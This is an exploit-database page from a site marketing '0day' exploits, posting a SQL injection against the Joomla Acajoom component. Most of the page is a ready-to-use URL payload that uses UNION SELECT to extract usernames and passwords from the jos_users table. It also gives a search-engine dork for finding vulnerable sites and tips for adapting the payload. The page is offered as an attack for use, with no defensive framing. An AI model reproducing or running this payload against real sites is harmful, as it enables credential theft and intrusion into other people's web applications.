[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Joomla Component Acajoom (com_acajoom) SQL Injection Vulnerability

Author
fataku
Risk
[
Security Risk Unsored
]
0day-ID
0day-ID-2749
Category
web applications
Date add
18-03-2008
Platform
unsorted
==================================================================
Joomla Component Acajoom (com_acajoom) SQL Injection Vulnerability
==================================================================



###############################################
#
# Joomla Component com_acajoom SQL Injection
#
###############################################
#
# Dorks 1 : inurl:"com_acajoom" mailingid
#
###############################################
#
# Sploit:
#
# index.php?option=com_acajoom&act=mailing&task=view&listid=1&Itemid=1&mailingid=1/**/union/**/select/**/1,1,1,1,concat(username,0x3a,password),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1/**/from/**/jos_users/**/LIMIT/**/1,1/*
#
###############################################
#
# Note/Tip:
#
# jos_ prefix may need fixed
#
# it may differ the number id, try LIMIT/**/1,1/* instaed
#
###############################################



#  0day.today [2024-11-16]  #